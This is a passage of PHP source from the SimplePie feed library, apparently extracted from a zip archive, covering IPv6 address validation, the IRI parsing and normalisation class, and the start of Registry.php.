        if (preg_match_all('/(?:^|:)(?:0(?::|$))+/', $ip_parts[0], $matches, PREG_OFFSET_CAPTURE)) {
            $max = 0;
            $pos = null;
            foreach ($matches[0] as $match) {
                if (strlen($match[0]) > $max) {
                    $max = strlen($match[0]);
                    $pos = $match[1];
                }
            }

            $ip_parts[0] = substr_replace($ip_parts[0], '::', $pos, $max);
        }

        if ($ip_parts[1] !== '') {
            return implode(':', $ip_parts);
        }

        return $ip_parts[0];
    }

    /**
     * Splits an IPv6 address into the IPv6 and IPv4 representation parts
     *
     * RFC 4291 allows you to represent the last two parts of an IPv6 address
     * using the standard IPv4 representation
     *
     * Example:  0:0:0:0:0:0:13.1.68.3
     *           0:0:0:0:0:FFFF:129.144.52.38
     *
     * @param string $ip An IPv6 address
     * @return array [0] contains the IPv6 represented part, and [1] the IPv4 represented part
     */
    private static function split_v6_v4($ip)
    {
        if (strpos($ip, '.') !== false) {
            $pos = strrpos($ip, ':');
            $ipv6_part = substr($ip, 0, $pos);
            $ipv4_part = substr($ip, $pos + 1);
            return [$ipv6_part, $ipv4_part];
        }

        return [$ip, ''];
    }

    /**
     * Checks an IPv6 address
     *
     * Checks if the given IP is a valid IPv6 address
     *
     * @param string $ip An IPv6 address
     * @return bool true if $ip is a valid IPv6 address
     */
    public static function check_ipv6($ip)
    {
        $ip = self::uncompress($ip);
        [$ipv6, $ipv4] = self::split_v6_v4($ip);
        $ipv6 = explode(':', $ipv6);
        $ipv4 = explode('.', $ipv4);
        if (count($ipv6) === 8 && count($ipv4) === 1 || count($ipv6) === 6 && count($ipv4) === 4) {
            foreach ($ipv6 as $ipv6_part) {
                // The section can't be empty
                if ($ipv6_part === '') {
                    return false;
                }

                // Nor can it be over four characters
                if (strlen($ipv6_part) > 4) {
                    return false;
                }

                // Remove leading zeros (this is safe because of the above)
                $ipv6_part = ltrim($ipv6_part, '0');
                if ($ipv6_part === '') {
                    $ipv6_part = '0';
                }

                // Check the value is valid
                $value = hexdec($ipv6_part);
                if (dechex($value) !== strtolower($ipv6_part) || $value < 0 || $value > 0xFFFF) {
                    return false;
                }
            }
            if (count($ipv4) === 4) {
                foreach ($ipv4 as $ipv4_part) {
                    $value = (int) $ipv4_part;
                    if ((string) $value !== $ipv4_part || $value < 0 || $value > 0xFF) {
                        return false;
                    }
                }
            }
            return true;
        }

        return false;
    }

    /**
     * Checks if the given IP is a valid IPv6 address
     *
     * @codeCoverageIgnore
     * @deprecated Use {@see IPv6::check_ipv6()} instead
     * @see check_ipv6
     * @param string $ip An IPv6 address
     * @return bool true if $ip is a valid IPv6 address
     */
    public static function checkIPv6($ip)
    {
        return self::check_ipv6($ip);
    }
}

class_alias('SimplePie\Net\IPv6', 'SimplePie_Net_IPv6');
PKWd[�R`*;�;�src/IRI.phpnu�[���<?php

/**
 * SimplePie
 *
 * A PHP-Based RSS and Atom Feed Framework.
 * Takes the hard work out of managing a complete RSS/Atom solution.
 *
 * Copyright (c) 2004-2022, Ryan Parman, Sam Sneddon, Ryan McCue, and contributors
 * All rights reserved.
 *
 * Redistribution and use in source and binary forms, with or without modification, are
 * permitted provided that the following conditions are met:
 *
 * 	* Redistributions of source code must retain the above copyright notice, this list of
 * 	  conditions and the following disclaimer.
 *
 * 	* Redistributions in binary form must reproduce the above copyright notice, this list
 * 	  of conditions and the following disclaimer in the documentation and/or other materials
 * 	  provided with the distribution.
 *
 * 	* Neither the name of the SimplePie Team nor the names of its contributors may be used
 * 	  to endorse or promote products derived from this software without specific prior
 * 	  written permission.
 *
 * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS
 * OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY
 * AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDERS
 * AND CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR
 * CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
 * SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
 * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR
 * OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
 * POSSIBILITY OF SUCH DAMAGE.
 *
 * @package SimplePie
 * @copyright 2004-2016 Ryan Parman, Sam Sneddon, Ryan McCue
 * @author Ryan Parman
 * @author Sam Sneddon
 * @author Ryan McCue
 * @link http://simplepie.org/ SimplePie
 * @license http://www.opensource.org/licenses/bsd-license.php BSD License
 */

namespace SimplePie;

/**
 * IRI parser/serialiser/normaliser
 *
 * @package SimplePie
 * @subpackage HTTP
 * @author Sam Sneddon
 * @author Steve Minutillo
 * @author Ryan McCue
 * @copyright 2007-2012 Sam Sneddon, Steve Minutillo, Ryan McCue
 * @license http://www.opensource.org/licenses/bsd-license.php
 */
class IRI
{
    /**
     * Scheme
     *
     * @var string
     */
    protected $scheme = null;

    /**
     * User Information
     *
     * @var string
     */
    protected $iuserinfo = null;

    /**
     * ihost
     *
     * @var string
     */
    protected $ihost = null;

    /**
     * Port
     *
     * @var string
     */
    protected $port = null;

    /**
     * ipath
     *
     * @var string
     */
    protected $ipath = '';

    /**
     * iquery
     *
     * @var string
     */
    protected $iquery = null;

    /**
     * ifragment
     *
     * @var string
     */
    protected $ifragment = null;

    /**
     * Normalization database
     *
     * Each key is the scheme, each value is an array with each key as the IRI
     * part and value as the default value for that part.
     */
    protected $normalization = [
        'acap' => [
            'port' => 674
        ],
        'dict' => [
            'port' => 2628
        ],
        'file' => [
            'ihost' => 'localhost'
        ],
        'http' => [
            'port' => 80,
            'ipath' => '/'
        ],
        'https' => [
            'port' => 443,
            'ipath' => '/'
        ],
    ];

    /**
     * Return the entire IRI when you try and read the object as a string
     *
     * @return string
     */
    public function __toString()
    {
        return $this->get_iri();
    }

    /**
     * Overload __set() to provide access via properties
     *
     * @param string $name Property name
     * @param mixed $value Property value
     */
    public function __set($name, $value)
    {
        if (method_exists($this, 'set_' . $name)) {
            call_user_func([$this, 'set_' . $name], $value);
        } elseif (
            $name === 'iauthority'
            || $name === 'iuserinfo'
            || $name === 'ihost'
            || $name === 'ipath'
            || $name === 'iquery'
            || $name === 'ifragment'
        ) {
            call_user_func([$this, 'set_' . substr($name, 1)], $value);
        }
    }

    /**
     * Overload __get() to provide access via properties
     *
     * @param string $name Property name
     * @return mixed
     */
    public function __get($name)
    {
        // isset() returns false for null, we don't want to do that
        // Also why we use array_key_exists below instead of isset()
        $props = get_object_vars($this);

        if (
            $name === 'iri' ||
            $name === 'uri' ||
            $name === 'iauthority' ||
            $name === 'authority'
        ) {
            $return = $this->{"get_$name"}();
        } elseif (array_key_exists($name, $props)) {
            $return = $this->$name;
        }
        // host -> ihost
        elseif (($prop = 'i' . $name) && array_key_exists($prop, $props)) {
            $name = $prop;
            $return = $this->$prop;
        }
        // ischeme -> scheme
        elseif (($prop = substr($name, 1)) && array_key_exists($prop, $props)) {
            $name = $prop;
            $return = $this->$prop;
        } else {
            trigger_error('Undefined property: ' . get_class($this) . '::' . $name, E_USER_NOTICE);
            $return = null;
        }

        if ($return === null && isset($this->normalization[$this->scheme][$name])) {
            return $this->normalization[$this->scheme][$name];
        }

        return $return;
    }

    /**
     * Overload __isset() to provide access via properties
     *
     * @param string $name Property name
     * @return bool
     */
    public function __isset($name)
    {
        return method_exists($this, 'get_' . $name) || isset($this->$name);
    }

    /**
     * Overload __unset() to provide access via properties
     *
     * @param string $name Property name
     */
    public function __unset($name)
    {
        if (method_exists($this, 'set_' . $name)) {
            call_user_func([$this, 'set_' . $name], '');
        }
    }

    /**
     * Create a new IRI object, from a specified string
     *
     * @param string $iri
     */
    public function __construct($iri = null)
    {
        $this->set_iri($iri);
    }

    /**
     * Clean up
     */
    public function __destruct()
    {
        $this->set_iri(null, true);
        $this->set_path(null, true);
        $this->set_authority(null, true);
    }

    /**
     * Create a new IRI object by resolving a relative IRI
     *
     * Returns false if $base is not absolute, otherwise an IRI.
     *
     * @param IRI|string $base (Absolute) Base IRI
     * @param IRI|string $relative Relative IRI
     * @return IRI|false
     */
    public static function absolutize($base, $relative)
    {
        if (!($relative instanceof IRI)) {
            $relative = new IRI($relative);
        }
        if (!$relative->is_valid()) {
            return false;
        } elseif ($relative->scheme !== null) {
            return clone $relative;
        } else {
            if (!($base instanceof IRI)) {
                $base = new IRI($base);
            }
            if ($base->scheme !== null && $base->is_valid()) {
                if ($relative->get_iri() !== '') {
                    if ($relative->iuserinfo !== null || $relative->ihost !== null || $relative->port !== null) {
                        $target = clone $relative;
                        $target->scheme = $base->scheme;
                    } else {
                        $target = new IRI();
                        $target->scheme = $base->scheme;
                        $target->iuserinfo = $base->iuserinfo;
                        $target->ihost = $base->ihost;
                        $target->port = $base->port;
                        if ($relative->ipath !== '') {
                            if ($relative->ipath[0] === '/') {
                                $target->ipath = $relative->ipath;
                            } elseif (($base->iuserinfo !== null || $base->ihost !== null || $base->port !== null) && $base->ipath === '') {
                                $target->ipath = '/' . $relative->ipath;
                            } elseif (($last_segment = strrpos($base->ipath, '/')) !== false) {
                                $target->ipath = substr($base->ipath, 0, $last_segment + 1) . $relative->ipath;
                            } else {
                                $target->ipath = $relative->ipath;
                            }
                            $target->ipath = $target->remove_dot_segments($target->ipath);
                            $target->iquery = $relative->iquery;
                        } else {
                            $target->ipath = $base->ipath;
                            if ($relative->iquery !== null) {
                                $target->iquery = $relative->iquery;
                            } elseif ($base->iquery !== null) {
                                $target->iquery = $base->iquery;
                            }
                        }
                        $target->ifragment = $relative->ifragment;
                    }
                } else {
                    $target = clone $base;
                    $target->ifragment = null;
                }
                $target->scheme_normalization();
                return $target;
            }

            return false;
        }
    }

    /**
     * Parse an IRI into scheme/authority/path/query/fragment segments
     *
     * @param string $iri
     * @return array
     */
    protected function parse_iri($iri)
    {
        $iri = trim($iri, "\x20\x09\x0A\x0C\x0D");
        if (preg_match('/^((?P<scheme>[^:\/?#]+):)?(\/\/(?P<authority>[^\/?#]*))?(?P<path>[^?#]*)(\?(?P<query>[^#]*))?(#(?P<fragment>.*))?$/', $iri, $match)) {
            if ($match[1] === '') {
                $match['scheme'] = null;
            }
            if (!isset($match[3]) || $match[3] === '') {
                $match['authority'] = null;
            }
            if (!isset($match[5])) {
                $match['path'] = '';
            }
            if (!isset($match[6]) || $match[6] === '') {
                $match['query'] = null;
            }
            if (!isset($match[8]) || $match[8] === '') {
                $match['fragment'] = null;
            }
            return $match;
        }

        // This can occur when a paragraph is accidentally parsed as a URI
        return false;
    }

    /**
     * Remove dot segments from a path
     *
     * @param string $input
     * @return string
     */
    protected function remove_dot_segments($input)
    {
        $output = '';
        while (strpos($input, './') !== false || strpos($input, '/.') !== false || $input === '.' || $input === '..') {
            // A: If the input buffer begins with a prefix of "../" or "./", then remove that prefix from the input buffer; otherwise,
            if (strpos($input, '../') === 0) {
                $input = substr($input, 3);
            } elseif (strpos($input, './') === 0) {
                $input = substr($input, 2);
            }
            // B: if the input buffer begins with a prefix of "/./" or "/.", where "." is a complete path segment, then replace that prefix with "/" in the input buffer; otherwise,
            elseif (strpos($input, '/./') === 0) {
                $input = substr($input, 2);
            } elseif ($input === '/.') {
                $input = '/';
            }
            // C: if the input buffer begins with a prefix of "/../" or "/..", where ".." is a complete path segment, then replace that prefix with "/" in the input buffer and remove the last segment and its preceding "/" (if any) from the output buffer; otherwise,
            elseif (strpos($input, '/../') === 0) {
                $input = substr($input, 3);
                $output = substr_replace($output, '', intval(strrpos($output, '/')));
            } elseif ($input === '/..') {
                $input = '/';
                $output = substr_replace($output, '', intval(strrpos($output, '/')));
            }
            // D: if the input buffer consists only of "." or "..", then remove that from the input buffer; otherwise,
            elseif ($input === '.' || $input === '..') {
                $input = '';
            }
            // E: move the first path segment in the input buffer to the end of the output buffer, including the initial "/" character (if any) and any subsequent characters up to, but not including, the next "/" character or the end of the input buffer
            elseif (($pos = strpos($input, '/', 1)) !== false) {
                $output .= substr($input, 0, $pos);
                $input = substr_replace($input, '', 0, $pos);
            } else {
                $output .= $input;
                $input = '';
            }
        }
        return $output . $input;
    }

    /**
     * Replace invalid character with percent encoding
     *
     * @param string $string Input string
     * @param string $extra_chars Valid characters not in iunreserved or
     *                            iprivate (this is ASCII-only)
     * @param bool $iprivate Allow iprivate
     * @return string
     */
    protected function replace_invalid_with_pct_encoding($string, $extra_chars, $iprivate = false)
    {
        // Normalize as many pct-encoded sections as possible
        $string = preg_replace_callback('/(?:%[A-Fa-f0-9]{2})+/', [$this, 'remove_iunreserved_percent_encoded'], $string);

        // Replace invalid percent characters
        $string = preg_replace('/%(?![A-Fa-f0-9]{2})/', '%25', $string);

        // Add unreserved and % to $extra_chars (the latter is safe because all
        // pct-encoded sections are now valid).
        $extra_chars .= 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789-._~%';

        // Now replace any bytes that aren't allowed with their pct-encoded versions
        $position = 0;
        $strlen = strlen($string);
        while (($position += strspn($string, $extra_chars, $position)) < $strlen) {
            $value = ord($string[$position]);
            $character = 0;

            // Start position
            $start = $position;

            // By default we are valid
            $valid = true;

            // No one byte sequences are valid due to the while.
            // Two byte sequence:
            if (($value & 0xE0) === 0xC0) {
                $character = ($value & 0x1F) << 6;
                $length = 2;
                $remaining = 1;
            }
            // Three byte sequence:
            elseif (($value & 0xF0) === 0xE0) {
                $character = ($value & 0x0F) << 12;
                $length = 3;
                $remaining = 2;
            }
            // Four byte sequence:
            elseif (($value & 0xF8) === 0xF0) {
                $character = ($value & 0x07) << 18;
                $length = 4;
                $remaining = 3;
            }
            // Invalid byte:
            else {
                $valid = false;
                $length = 1;
                $remaining = 0;
            }

            if ($remaining) {
                if ($position + $length <= $strlen) {
                    for ($position++; $remaining; $position++) {
                        $value = ord($string[$position]);

                        // Check that the byte is valid, then add it to the character:
                        if (($value & 0xC0) === 0x80) {
                            $character |= ($value & 0x3F) << (--$remaining * 6);
                        }
                        // If it is invalid, count the sequence as invalid and reprocess the current byte:
                        else {
                            $valid = false;
                            $position--;
                            break;
                        }
                    }
                } else {
                    $position = $strlen - 1;
                    $valid = false;
                }
            }

            // Percent encode anything invalid or not in ucschar
            if (
                // Invalid sequences
                !$valid
                // Non-shortest form sequences are invalid
                || $length > 1 && $character <= 0x7F
                || $length > 2 && $character <= 0x7FF
                || $length > 3 && $character <= 0xFFFF
                // Outside of range of ucschar codepoints
                // Noncharacters
                || ($character & 0xFFFE) === 0xFFFE
                || $character >= 0xFDD0 && $character <= 0xFDEF
                || (
                    // Everything else not in ucschar
                    $character > 0xD7FF && $character < 0xF900
                    || $character < 0xA0
                    || $character > 0xEFFFD
                )
                && (
                    // Everything not in iprivate, if it applies
                    !$iprivate
                    || $character < 0xE000
                    || $character > 0x10FFFD
                )
            ) {
                // If we were a character, pretend we weren't, but rather an error.
                if ($valid) {
                    $position--;
                }

                for ($j = $start; $j <= $position; $j++) {
                    $string = substr_replace($string, sprintf('%%%02X', ord($string[$j])), $j, 1);
                    $j += 2;
                    $position += 2;
                    $strlen += 2;
                }
            }
        }

        return $string;
    }

    /**
     * Callback function for preg_replace_callback.
     *
     * Removes sequences of percent encoded bytes that represent UTF-8
     * encoded characters in iunreserved
     *
     * @param array $match PCRE match
     * @return string Replacement
     */
    protected function remove_iunreserved_percent_encoded($match)
    {
        // As we just have valid percent encoded sequences we can just explode
        // and ignore the first member of the returned array (an empty string).
        $bytes = explode('%', $match[0]);

        // Initialize the new string (this is what will be returned) and that
        // there are no bytes remaining in the current sequence (unsurprising
        // at the first byte!).
        $string = '';
        $remaining = 0;

        // these variables will be initialized in the loop but PHPStan is not able to detect it currently
        $start = 0;
        $character = 0;
        $length = 0;
        $valid = true;

        // Loop over each and every byte, and set $value to its value
        for ($i = 1, $len = count($bytes); $i < $len; $i++) {
            $value = hexdec($bytes[$i]);

            // If we're the first byte of sequence:
            if (!$remaining) {
                // Start position
                $start = $i;

                // By default we are valid
                $valid = true;

                // One byte sequence:
                if ($value <= 0x7F) {
                    $character = $value;
                    $length = 1;
                }
                // Two byte sequence:
                elseif (($value & 0xE0) === 0xC0) {
                    $character = ($value & 0x1F) << 6;
                    $length = 2;
                    $remaining = 1;
                }
                // Three byte sequence:
                elseif (($value & 0xF0) === 0xE0) {
                    $character = ($value & 0x0F) << 12;
                    $length = 3;
                    $remaining = 2;
                }
                // Four byte sequence:
                elseif (($value & 0xF8) === 0xF0) {
                    $character = ($value & 0x07) << 18;
                    $length = 4;
                    $remaining = 3;
                }
                // Invalid byte:
                else {
                    $valid = false;
                    $remaining = 0;
                }
            }
            // Continuation byte:
            else {
                // Check that the byte is valid, then add it to the character:
                if (($value & 0xC0) === 0x80) {
                    $remaining--;
                    $character |= ($value & 0x3F) << ($remaining * 6);
                }
                // If it is invalid, count the sequence as invalid and reprocess the current byte as the start of a sequence:
                else {
                    $valid = false;
                    $remaining = 0;
                    $i--;
                }
            }

            // If we've reached the end of the current byte sequence, append it to Unicode::$data
            if (!$remaining) {
                // Percent encode anything invalid or not in iunreserved
                if (
                    // Invalid sequences
                    !$valid
                    // Non-shortest form sequences are invalid
                    || $length > 1 && $character <= 0x7F
                    || $length > 2 && $character <= 0x7FF
                    || $length > 3 && $character <= 0xFFFF
                    // Outside of range of iunreserved codepoints
                    || $character < 0x2D
                    || $character > 0xEFFFD
                    // Noncharacters
                    || ($character & 0xFFFE) === 0xFFFE
                    || $character >= 0xFDD0 && $character <= 0xFDEF
                    // Everything else not in iunreserved (this is all BMP)
                    || $character === 0x2F
                    || $character > 0x39 && $character < 0x41
                    || $character > 0x5A && $character < 0x61
                    || $character > 0x7A && $character < 0x7E
                    || $character > 0x7E && $character < 0xA0
                    || $character > 0xD7FF && $character < 0xF900
                ) {
                    for ($j = $start; $j <= $i; $j++) {
                        $string .= '%' . strtoupper($bytes[$j]);
                    }
                } else {
                    for ($j = $start; $j <= $i; $j++) {
                        $string .= chr(hexdec($bytes[$j]));
                    }
                }
            }
        }

        // If we have any bytes left over they are invalid (i.e., we are
        // mid-way through a multi-byte sequence)
        if ($remaining) {
            for ($j = $start; $j < $len; $j++) {
                $string .= '%' . strtoupper($bytes[$j]);
            }
        }

        return $string;
    }

    protected function scheme_normalization()
    {
        if (isset($this->normalization[$this->scheme]['iuserinfo']) && $this->iuserinfo === $this->normalization[$this->scheme]['iuserinfo']) {
            $this->iuserinfo = null;
        }
        if (isset($this->normalization[$this->scheme]['ihost']) && $this->ihost === $this->normalization[$this->scheme]['ihost']) {
            $this->ihost = null;
        }
        if (isset($this->normalization[$this->scheme]['port']) && $this->port === $this->normalization[$this->scheme]['port']) {
            $this->port = null;
        }
        if (isset($this->normalization[$this->scheme]['ipath']) && $this->ipath === $this->normalization[$this->scheme]['ipath']) {
            $this->ipath = '';
        }
        if (isset($this->normalization[$this->scheme]['iquery']) && $this->iquery === $this->normalization[$this->scheme]['iquery']) {
            $this->iquery = null;
        }
        if (isset($this->normalization[$this->scheme]['ifragment']) && $this->ifragment === $this->normalization[$this->scheme]['ifragment']) {
            $this->ifragment = null;
        }
    }

    /**
     * Check if the object represents a valid IRI. This needs to be done on each
     * call as some things change depending on another part of the IRI.
     *
     * @return bool
     */
    public function is_valid()
    {
        if ($this->ipath === '') {
            return true;
        }

        $isauthority = $this->iuserinfo !== null || $this->ihost !== null ||
            $this->port !== null;
        if ($isauthority && $this->ipath[0] === '/') {
            return true;
        }

        if (!$isauthority && (substr($this->ipath, 0, 2) === '//')) {
            return false;
        }

        // Relative urls cannot have a colon in the first path segment (and the
        // slashes themselves are not included so skip the first character).
        if (!$this->scheme && !$isauthority &&
            strpos($this->ipath, ':') !== false &&
            strpos($this->ipath, '/', 1) !== false &&
            strpos($this->ipath, ':') < strpos($this->ipath, '/', 1)) {
            return false;
        }

        return true;
    }

    /**
     * Set the entire IRI. Returns true on success, false on failure (if there
     * are any invalid characters).
     *
     * @param string $iri
     * @return bool
     */
    public function set_iri($iri, $clear_cache = false)
    {
        static $cache;
        if ($clear_cache) {
            $cache = null;
            return;
        }
        if (!$cache) {
            $cache = [];
        }

        if ($iri === null) {
            return true;
        } elseif (isset($cache[$iri])) {
            [
                $this->scheme,
                $this->iuserinfo,
                $this->ihost,
                $this->port,
                $this->ipath,
                $this->iquery,
                $this->ifragment,
                $return
            ] = $cache[$iri];

            return $return;
        }

        $parsed = $this->parse_iri((string) $iri);
        if (!$parsed) {
            return false;
        }

        $return = $this->set_scheme($parsed['scheme'])
            && $this->set_authority($parsed['authority'])
            && $this->set_path($parsed['path'])
            && $this->set_query($parsed['query'])
            && $this->set_fragment($parsed['fragment']);

        $cache[$iri] = [
            $this->scheme,
            $this->iuserinfo,
            $this->ihost,
            $this->port,
            $this->ipath,
            $this->iquery,
            $this->ifragment,
            $return
        ];

        return $return;
    }

    /**
     * Set the scheme. Returns true on success, false on failure (if there are
     * any invalid characters).
     *
     * @param string $scheme
     * @return bool
     */
    public function set_scheme($scheme)
    {
        if ($scheme === null) {
            $this->scheme = null;
        } elseif (!preg_match('/^[A-Za-z][0-9A-Za-z+\-.]*$/', $scheme)) {
            $this->scheme = null;
            return false;
        } else {
            $this->scheme = strtolower($scheme);
        }
        return true;
    }

    /**
     * Set the authority. Returns true on success, false on failure (if there are
     * any invalid characters).
     *
     * @param string $authority
     * @return bool
     */
    public function set_authority($authority, $clear_cache = false)
    {
        static $cache;
        if ($clear_cache) {
            $cache = null;
            return;
        }
        if (!$cache) {
            $cache = [];
        }

        if ($authority === null) {
            $this->iuserinfo = null;
            $this->ihost = null;
            $this->port = null;
            return true;
        } elseif (isset($cache[$authority])) {
            [
                $this->iuserinfo,
                $this->ihost,
                $this->port,
                $return
            ] = $cache[$authority];

            return $return;
        }

        $remaining = $authority;
        if (($iuserinfo_end = strrpos($remaining, '@')) !== false) {
            $iuserinfo = substr($remaining, 0, $iuserinfo_end);
            $remaining = substr($remaining, $iuserinfo_end + 1);
        } else {
            $iuserinfo = null;
        }
        if (($port_start = strpos($remaining, ':', intval(strpos($remaining, ']')))) !== false) {
            if (($port = substr($remaining, $port_start + 1)) === false) {
                $port = null;
            }
            $remaining = substr($remaining, 0, $port_start);
        } else {
            $port = null;
        }

        $return = $this->set_userinfo($iuserinfo) &&
                  $this->set_host($remaining) &&
                  $this->set_port($port);

        $cache[$authority] = [
            $this->iuserinfo,
            $this->ihost,
            $this->port,
            $return
        ];

        return $return;
    }

    /**
     * Set the iuserinfo.
     *
     * @param string $iuserinfo
     * @return bool
     */
    public function set_userinfo($iuserinfo)
    {
        if ($iuserinfo === null) {
            $this->iuserinfo = null;
        } else {
            $this->iuserinfo = $this->replace_invalid_with_pct_encoding($iuserinfo, '!$&\'()*+,;=:');
            $this->scheme_normalization();
        }

        return true;
    }

    /**
     * Set the ihost. Returns true on success, false on failure (if there are
     * any invalid characters).
     *
     * @param string $ihost
     * @return bool
     */
    public function set_host($ihost)
    {
        if ($ihost === null) {
            $this->ihost = null;
            return true;
        } elseif (substr($ihost, 0, 1) === '[' && substr($ihost, -1) === ']') {
            if (\SimplePie\Net\IPv6::check_ipv6(substr($ihost, 1, -1))) {
                $this->ihost = '[' . \SimplePie\Net\IPv6::compress(substr($ihost, 1, -1)) . ']';
            } else {
                $this->ihost = null;
                return false;
            }
        } else {
            $ihost = $this->replace_invalid_with_pct_encoding($ihost, '!$&\'()*+,;=');

            // Lowercase, but ignore pct-encoded sections (as they should
            // remain uppercase). This must be done after the previous step
            // as that can add unescaped characters.
            $position = 0;
            $strlen = strlen($ihost);
            while (($position += strcspn($ihost, 'ABCDEFGHIJKLMNOPQRSTUVWXYZ%', $position)) < $strlen) {
                if ($ihost[$position] === '%') {
                    $position += 3;
                } else {
                    $ihost[$position] = strtolower($ihost[$position]);
                    $position++;
                }
            }

            $this->ihost = $ihost;
        }

        $this->scheme_normalization();

        return true;
    }

    /**
     * Set the port. Returns true on success, false on failure (if there are
     * any invalid characters).
     *
     * @param string $port
     * @return bool
     */
    public function set_port($port)
    {
        if ($port === null) {
            $this->port = null;
            return true;
        } elseif (strspn($port, '0123456789') === strlen($port)) {
            $this->port = (int) $port;
            $this->scheme_normalization();
            return true;
        }

        $this->port = null;
        return false;
    }

    /**
     * Set the ipath.
     *
     * @param string $ipath
     * @return bool
     */
    public function set_path($ipath, $clear_cache = false)
    {
        static $cache;
        if ($clear_cache) {
            $cache = null;
            return;
        }
        if (!$cache) {
            $cache = [];
        }

        $ipath = (string) $ipath;

        if (isset($cache[$ipath])) {
            $this->ipath = $cache[$ipath][(int) ($this->scheme !== null)];
        } else {
            $valid = $this->replace_invalid_with_pct_encoding($ipath, '!$&\'()*+,;=@:/');
            $removed = $this->remove_dot_segments($valid);

            $cache[$ipath] = [$valid, $removed];
            $this->ipath =  ($this->scheme !== null) ? $removed : $valid;
        }

        $this->scheme_normalization();
        return true;
    }

    /**
     * Set the iquery.
     *
     * @param string $iquery
     * @return bool
     */
    public function set_query($iquery)
    {
        if ($iquery === null) {
            $this->iquery = null;
        } else {
            $this->iquery = $this->replace_invalid_with_pct_encoding($iquery, '!$&\'()*+,;=:@/?', true);
            $this->scheme_normalization();
        }
        return true;
    }

    /**
     * Set the ifragment.
     *
     * @param string $ifragment
     * @return bool
     */
    public function set_fragment($ifragment)
    {
        if ($ifragment === null) {
            $this->ifragment = null;
        } else {
            $this->ifragment = $this->replace_invalid_with_pct_encoding($ifragment, '!$&\'()*+,;=:@/?');
            $this->scheme_normalization();
        }
        return true;
    }

    /**
     * Convert an IRI to a URI (or parts thereof)
     *
     * @return string
     */
    public function to_uri($string)
    {
        static $non_ascii;
        if (!$non_ascii) {
            $non_ascii = implode('', range("\x80", "\xFF"));
        }

        $position = 0;
        $strlen = strlen($string);
        while (($position += strcspn($string, $non_ascii, $position)) < $strlen) {
            $string = substr_replace($string, sprintf('%%%02X', ord($string[$position])), $position, 1);
            $position += 3;
            $strlen += 2;
        }

        return $string;
    }

    /**
     * Get the complete IRI
     *
     * @return string
     */
    public function get_iri()
    {
        if (!$this->is_valid()) {
            return false;
        }

        $iri = '';
        if ($this->scheme !== null) {
            $iri .= $this->scheme . ':';
        }
        if (($iauthority = $this->get_iauthority()) !== null) {
            $iri .= '//' . $iauthority;
        }
        if ($this->ipath !== '') {
            $iri .= $this->ipath;
        } elseif (!empty($this->normalization[$this->scheme]['ipath']) && $iauthority !== null && $iauthority !== '') {
            $iri .= $this->normalization[$this->scheme]['ipath'];
        }
        if ($this->iquery !== null) {
            $iri .= '?' . $this->iquery;
        }
        if ($this->ifragment !== null) {
            $iri .= '#' . $this->ifragment;
        }

        return $iri;
    }

    /**
     * Get the complete URI
     *
     * @return string
     */
    public function get_uri()
    {
        return $this->to_uri($this->get_iri());
    }

    /**
     * Get the complete iauthority
     *
     * @return string
     */
    protected function get_iauthority()
    {
        if ($this->iuserinfo !== null || $this->ihost !== null || $this->port !== null) {
            $iauthority = '';
            if ($this->iuserinfo !== null) {
                $iauthority .= $this->iuserinfo . '@';
            }
            if ($this->ihost !== null) {
                $iauthority .= $this->ihost;
            }
            if ($this->port !== null && $this->port !== 0) {
                $iauthority .= ':' . $this->port;
            }
            return $iauthority;
        }

        return null;
    }

    /**
     * Get the complete authority
     *
     * @return string
     */
    protected function get_authority()
    {
        $iauthority = $this->get_iauthority();
        if (is_string($iauthority)) {
            return $this->to_uri($iauthority);
        }

        return $iauthority;
    }
}

class_alias('SimplePie\IRI', 'SimplePie_IRI');
PKWd[k�!�!src/Registry.phpnu�[���<?php

/**
 * SimplePie
 *
 * A PHP-Based RSS and Atom Feed Framework.
 * Takes the hard work out of managing a complete RSS/Atom solution.
 *
 * Copyright (c) 2004-2022, Ryan Parman, Sam Sneddon, Ryan McCue, and contributors
 * All rights reserved.
 *
 * Redistribution and use in source and binary forms, with or without modification, are
 * permitted provided that the following conditions are met:
 *
 * 	* Redistributions of source code must retain the above copyright notice, this list of
 * 	  conditions and the following disclaimer.
 *
 * 	* Redistributions in binary form must reproduce the above copyright notice, this list
 * 	  of conditions and the following disclaimer in the documentation and/or other materials
 * 	  provided with the distribution.
 *
 * 	* Neither the name of the SimplePie Team nor the names of its contributors may be used
 * 	  to endorse or promote products derived from this software without specific prior
 * 	  written permission.
 *
 * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS
 * OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY
 * AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDERS
 * AND CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR
 * CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
 * SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
 * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR
 * OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
 * POSSIBILITY OF SUCH DAMAGE.
 *
 * @package SimplePie
